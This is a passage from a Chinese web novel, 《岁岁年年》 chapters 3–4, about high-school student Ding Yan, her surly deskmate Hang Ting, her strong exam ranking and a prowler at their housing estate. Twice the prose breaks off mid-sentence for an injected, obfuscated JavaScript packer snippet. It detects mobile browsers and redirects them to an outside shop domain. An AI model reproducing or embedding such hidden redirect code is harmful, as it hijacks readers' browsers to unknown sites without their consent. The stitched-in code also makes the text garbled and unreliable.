《岁岁年年》 3. 03 跟杭霆成为同桌的几天里,丁琰觉得没什么不好。一多半的课他都是睡过去的,剩下一小半,人都不在。 她本以为他是那种爱接老师话、爱搞点存在感的人,毕竟他的寸头在班里也引起不小轰动,但也没有。 他不会主动跟老师作对,当然,也不会听课。 不睡觉的时候,他会在本子上画画,丁琰看到过,一般都是当节课老师的画像,夸张却很传神。 总的来说,有这个同桌跟一个人坐区别不大。 丁琰不懂李潇潇为什么提起杭霆就一脸便秘的表情,只要杭霆在,她绝不会转过来,杭霆一走,她才会跟丁琰说话。 “下节课要同桌互批作业,你这同桌都不在,怎么改啊?” “我自己可以改。” 李潇潇撇嘴,“人家上个学可比咱潇洒多了,跟度假似的。” “你们以前是同学?” “没在一个班,不过他啊,有名得很。” “他得罪过你?” “本小姐跟他才没交集。” 丁琰不懂,既没交集也没得罪过,李潇潇怎么这么讨厌杭霆。 “你知道他是怎么进一中的吗?” “怎么进的?” “花钱啊,一分一万。” 丁琰早就知道一中难进,很多人找关系、花钱都进不来,却还是被这个天文数字吓到了。 “本部的初中部分数线要比外面录取的低一点,不过他应该也花了不少钱吧。”李潇潇忿忿,“花钱塞他到普通班也就算了,居然敢塞到咱们班。” 一班到四班都是重点班,一二班尖子生更集中一些。 丁琰有点儿理解李潇潇的心理,大家都是努力考进来的,而杭霆用人民币就轻松跟他们挤进了同一间教室,她自然不爽。 “明天成绩和名次应该就出来了,我刚去综合楼的时候看到他们正在分卷子呢。”李潇潇特别神秘地加了句,“我听说,摸底考成绩出来之后可能重新分班呢。” “为什么?” “不是全班打乱,是那种成绩特别差的,会被踢到普通班去。”李潇潇虔诚祈祷,视线落在杭霆的空桌子上,“最好是真的,这样潮水褪去后就知道谁在裸泳了。” 丁琰想起一道题,考试时她不大确定,在抽屉里翻找出练习册查看。 李潇潇戳了戳丁琰胳膊:“欸,你暑假补课了吗?” “补课?补什么课?” “唉,好担心我的成绩,你知道吗,好多人都已经提前学过高一的课程了。我暑假报了个补习班,碰见一班二班好多熟人呢。” “暑假就开始了?” “是啊,一二班好多搞竞赛的,都提前学高中课程的。” 丁琰觉得自己像个与世隔绝的傻子,什么竞赛,什么补习班,她原来听都没听过。 对于杭霆的那些八卦她不想打听,但是这些她感兴趣,追问了李潇潇几句。 李潇潇说自己也只是跟着上了个暑期班,上满一学期学费要好几万,然后安慰她:“你以前在外地可能不知道这些,不过第一次摸底考不好也没什么的,以后努力跟上就可以了。” - 下课铃响起,操场上三班和四班的人群开始慢慢悠悠往教学楼方向走。 杭霆还在球场上,看着王雨浓接到传球,越过防守到篮下。 “这边!”杭霆喊了一声。 王雨浓一个假动作,反手将球传到杭霆手中。 杭霆跟他配合默契,下一秒上篮,进了。 “行啊你,换了发型就是不一样。”王雨浓过来拍他的肩,“该回去上课了。” 杭霆耸耸肩。 “还想打?不怕老师叫家长啊,你最近攒了不少通报批评了。”王雨浓提醒他。 “只要他们能叫得来,随他们便。”杭霆抹了把汗。 “你爸最近没在国内?” “马来?新加坡?不知道。” 王雨浓叹口气:“真羡慕你,天高皇帝远的,还不缺钱花。” “我死在这儿可能都没人管。” “呸呸呸,别说这种晦气话。” 两人去小卖部拿了两瓶水,远远看见丁琰坐在操场边的树荫下看书。看人走得差不多了,她才合上书起身。 王雨浓把手搭在杭霆肩上,问:“你那同桌是从哪儿来的?” “什么从哪来的?” “你不知道?她在我们班都出名了,天然无添加纯有机土妹。” 丁琰总是独来独往的,每次上体育课都很显眼。 T恤款式颜色老土,帆布鞋是仿的converse,还仿得很拙劣,全身上下衣服的牌子没一个英文单词认识的。 “她是个狠人啊,我听说她上晚自习,一直到集体熄灯才走,有几次都是被保安催着走的。” 这些杭霆都不知道。 他既没注意过丁琰的穿着,也没上过晚自习。一放学他就溜了。 不过想一想,他旁边那人一整天姿势就没怎么变过,无论上课下课都不停在书本上刷刷写字,跟老师的史官似的。 “小地方来的,念起书来不要命。” 杭霆喉咙上下滚动,吞了一口水,反问了句:“你自己考多少分心里没数?” 王雨浓中考所有分数加起来勉强凑够三位数,上中专都费劲,他那个爹直接给学校捐了两个化学实验室。家里人对他的期许就是,安安生生在一中待三年,毕业就打包送去国外。 “我这叫旁观者清,她再学,能学得过一二班那些学霸?等摸底考成绩出来,打击太大。” “管好你自己。” 高一晚自习采取自愿制度,一共三节,九点半结束,基本都是住校的和家离得近的,上的人不多。 九点半下课,大家陆续走掉,保安大叔会在十点十分左右开始挨个楼层查看,丁琰看半小时左右的书,十点离开,就不会被保安大叔催促。 李潇潇的话提醒了她,别人早就学完了高一的课程,她也应该努力一点。 学校门口就有公交站,坐一站公交车,下车点距离小区门口不到一百米。安城的夜生活挺丰富的,一路上灯火通明,就是进小区后有点儿黑。 丁琰这么实施了几天,觉得可行。 - 第二天一早,丁琰一进教室,李潇潇就用格外怪异的眼神盯着她。 她这两天都是半干着头发来的,还以为自己头上有什么东西,抓了半天,李潇潇才开口,先是啧啧了几声,然后说她真是深藏不露。 “什么意思?” “这次摸底考,你全班第二,年级十四,你知道吗?” 她摇了摇头。她消息哪有李潇潇灵通。 李潇潇说,她们几个来得早的去老师办公室看了年级名次表,前二十里都是熟人,除了一个人。 那匹黑马是丁琰。所有人都惊掉了下巴。 谁能想到坐在教室角落的外地生,会比一二班的大多数人都考得好? 丁琰心里悬着的石头缓缓落地。开学这些天,她感受到了省重点的速度,她勉强跟得上,但总绷着一根弦,更别说李潇潇隔三差五要给她制造焦虑。 “你怎么没说过你这么厉害?”李潇潇笑着,表情里却蕴含了很多东西。 一旁趴着补觉的杭霆皱着眉起身,盯着丁琰。 丁琰注意到了他的注视,以为是她们的讲话声吵到他了,顺手递了一副耳塞过去。 当着杭霆的面,李潇潇不敢惹他,她本来只想用表情偷偷跟丁琰传递不满,没想到丁琰动作直接又果断,把她看傻了。 杭霆没接耳塞,没什么表情地说了句:“水溅我身上了。” 丁琰摸了摸自己半干的头发,又看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837469|191264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的白T恤,袖子上和他小麦色的手臂上有几个几乎看不到的小水点。 “早上来不及吹……是干净的又不是脏的。” 丁莉睡得早,赵晓霖起得晚,无论是早上还是晚上洗头,她都没法用吹风机。 她有个干发帽,平时在阳台上晾着,可这两天都没找到。 也许是丁莉帮她收了。 她不明白,这都能惹到他?还是说他这件衣服很贵,用金子做的? “你不能晚上洗头?” 丁琰不知道怎么惹到这个同桌了,他们之前没怎么说过话,她还以为他脾气没这么差。 “下晚自习到家已经很晚了。” 她没法告诉他,晚上到家后她根本没法洗头,燃气热水器离丁莉的房间近,会吵到丁莉。 “早点回家不行吗?” 李潇潇垂着眼睛,抓着丁琰的手腕,轻轻加了点力度,又像是故意说给杭霆听的:“要不我们去外面说吧。” 丁琰没动,声音不大不小地说:“我没你这么潇洒。” 这句话是对杭霆说的。 她没他这么潇洒,想几点来就几点来,想什么时候走就什么时候走。她只有那点可怜的时间洗头,再紧赶慢赶出门上学。 说完,丁琰继续跟李潇潇讨论刚才那道题。而李潇潇眼珠子转来转去,早就没了听题的心思。 杭霆不屑的眼神从李潇潇身上掠过,他不想在李潇潇面前多说一句话。他起身,哗啦带起一阵桌椅响动,班里人都看了过来。 丁琰也不知道杭霆这是怎么了,前两天她还觉得他挺好的,除了不学习不听讲,现在却跟个炮仗似的,一点就着。 “我早就说过吧,他有病。”李潇潇煞有介事地说,“你还是别惹他了,他初三的时候就敢打外校的老师。” 打老师?本校的老师不够他打吗还打外校的老师,她实在费解。 - 晚上,丁琰还是坐到了晚自习最后一节。九点半铃声响时,她本想收拾东西,又觉得凭什么被某些人一句话影响,还是继续翻开了书。 杭霆一整天都没再回来,班主任来问过两次,生气地走了。 他的七八张卷子就那么摞在桌上,她看了眼最上面的英语和数学,一百二的满分,英语110,数学70。 还不算差得离谱,甚至有些出乎她的意料。她还以为他会门门不及格呢。 摸底考名次比她预估的高了不少,本来应该心情很不错的,可她头靠在公交车玻璃上,怎么也高兴不起来。 一晃神,就多坐了一站。 等车等了好久,又往回走了一站,到小区时已经快十一点了。 也不知是心理作用还是真的已经很晚了,周围静得出奇,摆夜市摊的摊贩也都在默默收摊。 这小区本来就没几盏路灯,低楼层住户不满,晚上路灯干脆也不开了,纯靠环境光。 可这会儿,连环境光都快没了。 丁琰摸黑走了几步,总感觉四周有人,转头看看,门卫大爷窗口发出的微光让她有了一丝丝的安全感,尽管她知道他已经睡得不省人事。 起了一阵风,一点儿也不冷,但吹得她起了一身鸡皮疙瘩。 周围那些电线杆,老头老太太堆的破纸壳子,还有稀稀拉拉的树,都变得张牙舞爪的。她甚至感觉花坛边的阴影里好像坐了个看不清面容的人。 她心里发慌发毛,再也不敢回头,快步往里走,走到楼梯口还绊了一跤。 楼道里黯淡的声控灯和对面的门同时打开。 杭霆拎着一袋垃圾出来,正好看到她慌慌张张半爬着进了楼道。 不知怎么的,狂跳的心突然安了下来。 丁琰回头看了眼楼梯口,黑洞洞的,什么都没有。 “我没事。” 杭霆还什么都没说,她已经扯开门进去了。 4.04 这次摸底考除了卷子,每个人还收到一张细长的成绩条,丁琰庄重地把那张成绩单贴到错题本首页的最上面,方便以后每次考完做对比。 她打电话给丁怀新,丁怀新在跑车,说了几句就挂了,无非就是让她不要掉以轻心,继续保持之类的。衣食住行安顿好了他不用操心,学习他帮不上忙,只能说这些车轱辘话。 真正能分享她这份快乐的,只有安然。 丁琰有点儿想念她这个老同桌。 虽然安然也不学习,但安然天真热情性格好,一点儿也不妨碍她们成为无话不聊的朋友。只是现在隔了几百公里,平时课业又重,丁琰只有在周末才有空和她打电话,好好说一会儿话。 安然问到她的新环境,新朋友。 丁琰想了想,她哪有什么朋友,到现在认识的人也只有李潇潇,跟几个课代表短暂说过几句话。姑姑家小饭桌来吃午饭的学生不少,她也认识了几个,不过都不同班,有的还是高二的,在学校很少碰上,也不是很熟。 还有就是她提都不想提的同桌。 偏偏安然又问起来了,她含糊其词,说不大熟,他不是在睡觉就是在操场打球,从来不听课。 安然却笑起来:“听起来跟我很像啊,你是不是总跟我们这种人有缘分?” 想起杭霆傲慢的样子,她坚决否认:“不一样。” “搞不好你们要一起坐三年呢。” “不会的,马上就换座位了。” 聊到一半,余光里有人影晃动,丁琰下意识抬头,发觉对面阳台上有人。 杭霆居然在。他戴着一副头戴耳机,好像在听歌。 他们两家阳台离得很近,能彼此看见,玻璃又是老式的推拉塑钢窗,不怎么隔音,她顿时有种背后说别人坏话被抓包的心虚感。 希望他耳机里真的有音乐。 自从那晚在楼道里遇见后,他们已经几天没说过话了。 他傲慢,无礼,但在她有点恐惧的时候给了一点安全感,那些莫名其妙的气也就随之消散了。 挂掉电话,丁琰第一反应是抬头——阳台上挂了她洗好的内衣裤。 她一抬头,还好姑姑已经帮她收走了。 周末丁莉不用做二十多人的午饭,心情轻松,哼着歌在客厅里包馄饨。 丁琰走到客厅问:“姑姑,你收我阳台上的衣服和干发帽了吗?” “我哪有那闲工夫。”丁莉抬眼看她。 “哦,那我再找找。” 丁琰正要回房,丁莉叫住她:“衣服丢了?” 两人一对,才发现,丁莉挂在她窗口的内衣也不见了。 丁莉二话不说就叫赵晓霖出来。 丁琰觉得丁莉脑子简直有泡,赵晓霖再混蛋,也不至于拿自己妈和表姐的内衣吧? 赵晓霖还在赖床,被叫醒本来就不爽,再一听问他有没有拿别人内衣,他彻底火了,大吼他妈脑子有问题,摔门回房了。 丁莉花了半天才哄好赵晓霖,出来跟丁琰说,可能是被人偷了,让她晚上睡觉锁好阳台窗户。 “这里有小偷?”丁琰意外。 “这儿离老火车站那么近,没小偷才怪呢。”丁莉习以为常,“没事,有防盗窗,爬不进来。” 小区也没个正经门,破旧铁门从来都是大敞着,丢晾在院子里的衣服、阳台上的腊肠是常有的事。早就说是要老房改造,也一直没见动静。 因为丢的大多不是值钱物件,也就没人追究,最多在院子里骂两句就过去了。 晚上关灯后,丁琰特意去阳台上检查窗户,不检查不要紧,刚走到窗户边,她透过玻璃看到一张不大真切的人脸,一张陌生男人的脸。 那人手里拿了根长长的晾衣杆,正试着挑开推拉窗。 就这么冷不丁的,她跟偷衣服的贼打了个照面。 丁琰心跳都停了一瞬,脑门上冷汗当时就下来了。 她惊叫一声,那人也愣了一下,还没等她大脑判断清是怎么一回事,那人就溜了。 紧接着,她听到有个声音厉声问:“干什么呢!” 几秒后,一个人影飞快地追了出去。 远处传来几声电动车警报,然后就没声音了。 丁莉皱着眉跑来敲她的门,问她这么晚不睡在瞎叫唤什么。 丁琰惊魂未定,指着阳台说小偷刚才就在窗户下面。 丁莉二话不说,气势汹汹走进她房间,哗啦一声拉开窗户,探出头大骂小偷,“偷别人家东西不得好死”“丢十八辈祖宗的脸”之类的话倒了一箩筐,尖锐的声音响彻安静的院子。 丁琰觉得有点丢人又有点好笑。 骂了一两分钟后,丁莉关好窗户,说:“行了,睡吧。” 丁琰呆了,“啊”了一声:“不报警吗?” 这样就行了吗? 丁莉催着丁琰快睡,“报什么警啊,震慑震慑得了,又没偷走什么,你明天不上学了?” 丁琰很难认同丁莉刚才所谓的“震慑”有效。 她坐在床边,反复回想刚才追出去那个身影,还有那个声音,她怎么越想越觉得像杭霆。 - 第二天早上,杭霆两节课后才来,脸上还挂着血痕。 班主任早就在教室后门等着他了,一来就直接叫他去了办公室,丁琰都没来得及跟他说上话。 果不其然,李潇潇又是一顿冷嘲热讽。丁琰一直低头看书,装作没听见。 等杭霆从老师办公室回来,已经中午了。 他刚迈进教室,脚步顿了顿。 教室里空荡荡的,只有丁琰一个人坐在位置上看书。 真是废寝忘食的好学生。杭霆摇了摇头,准备退出去。 听到动静,丁琰赶紧回头,问:“你昨天是不是去抓小偷了?” 杭霆退回来盯了她半天,那眼神好像在说她是个蠢货,见她神情认真,他叹了口气:“你以为那是个小偷?” “不是吗?” 杭霆说,那人有案底,因为猥亵、偷窃和□□未遂被抓过,最近一直在附近几个没什么安保措施的老小区晃悠。 看来她和丁莉的衣物大概率就是那个变态偷的。 “你听到声音才出去的?”她问。 杭霆意味深长地看了她一眼,说那破窗户又不隔音。 丁琰瞬间回想起周末在阳台上说他坏话,难道他都听到了? 她有些尴尬地转移话题,问是不是他一个人把那个人抓住的。 其实不是,杭霆追到小区门口,恰逢门卫大爷出来解手,正好堵住那人,一起控制住,打电话报了警。 丁琰心里一阵后怕,她昨晚就和那个人隔着一层玻璃对视,近得不能再近了。 “老师说你了吗?” “老师少说过我吗?”他有点不耐烦,是把他当答疑老师了吗,怎么这么多问题。 “老师误会你的话,我可以帮你去作证。” “省省吧。” “我是说真的。”她很认真。 看丁琰认真的样子,杭霆才说,派出所的民警已经替他给老师解释过了,还要给他送表扬信。 “哦……你脸上的伤是那个人弄的吗?” “不是,是自己长出来的。” “……”丁琰听出他语气里的不耐烦,“你记得去医院处理一下。” 该说的也都说了,他们之间也没什么要说的了,看来也不需要她做什么了,空气凝结,陷入了尴尬的沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840908|191264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁琰合上书本和笔,准备起身离开。 “也就你蠢,你没发现那片晚上都没人出来么。” 杭霆冷不丁来了一句。 “路上人很多啊。”一路上还有路灯。 “人家难道会在亮堂的大马路上蹲点吗?” 丁琰语塞。 仔细想想,她忽然觉得后背一阵发凉,最近她回来都挺晚的,也许就被那个变态跟踪尾随过,只是她自己没发现。 杭霆虽然语气不大好,但总归是在提醒她,她点点头说知道了,然后说了句:“难怪赵晓霖叫你大哥。” “谁是赵晓霖?” “我弟啊。” “你弟又是谁?” 牛头不对马嘴地问了半天,杭霆才搞清楚赵晓霖是谁。平时丁莉总是叫霖霖,他一直不知道赵晓霖的大名。 “他是你弟?” “对啊。” 对过账,杭霆这才搞清楚,丁琰不是在小饭桌长住的学生,而是丁莉的侄女,赵晓霖的表姐。 而丁琰也终于知道,只是在小饭桌吃个午饭睡个午觉,每个月就要八百,难怪她住进来丁莉不大乐意。 原本杭霆和赵晓霖只是邻居,抬头不见低头见,赵晓霖看他的车酷,穿的鞋也都是限量款,偶尔过来套近乎,时间久了就聊得多了。 赵晓霖跟他闲聊时说起过,他们班有个男老师,上课喜欢把手伸进男生衣领后面暖手,全班男生都为他提供过“暖手服务”。有时候去办公室,老师的手还会伸到裤子里。 刚上初中的半大小子们都拿这事开玩笑,还在班里成立了个“非处男小分队”,这个队伍还越来越壮大。 杭霆觉得不对劲,提醒赵晓霖注意点,可赵晓霖傻乎乎的,说班里人玩得不亦乐乎,再说了,那老师只摸男生,从来不摸女生。 毕竟不同校,他们之间也算不上有多熟,杭霆也只能点到为止。 直到那老师来赵晓霖家家访。 那天丁莉不在家,可那个老师还是执意来了,还让杭霆碰上了。 杭霆觉察出不对劲,没让赵晓霖的老师进门,还揍了那老师一顿。 后来那个老师恶人先告状,去一中举报了杭霆,害得杭霆差点被退学。 “这不是猥亵吗?”丁琰惊讶得捂嘴。 “是啊。” “后来呢?” “后来他们学校有几十个学生联合举报他猥亵男生,然后发现他还有别的事……前段时间刚判。” 从那以后,赵晓霖就认杭霆当大哥了。 丁琰若有所思。原来大哥是这么来的,她还以为他们是打架混社会认识的。 赵晓霖平时看着吊儿郎当的,没想到不过是个什么都不懂的傻小子。 “你是不是有变态检测器?”丁琰问。她觉得他对这些事特别敏锐。 “难怪你们是姐弟。”杭霆嘴挺毒的,“蠢到一块去了,一点基础安全防范意识都没有。” 丁琰这才后知后觉地反应过来:“难怪李潇潇说你打过外校老师。” “……”杭霆无语,“以后别总听李潇潇瞎说。” “为什么?” “她脑子不正常。” “你们俩有仇?” “她——” 杭霆说一半不说了。 看这架势,难道他们有点什么? 丁琰不爱八卦,也就没追问,反正跟她也没关系。 只是她觉得挺奇妙,就这半小时,他们说的话比开学这么久都多。 “不吃饭吗?”杭霆问她。 丁琰看了眼时间。她中午跟丁莉打过招呼,不回去吃了,本来打算扛一扛的。 “真打算拿课本当饭吃?走,一起吃饭。”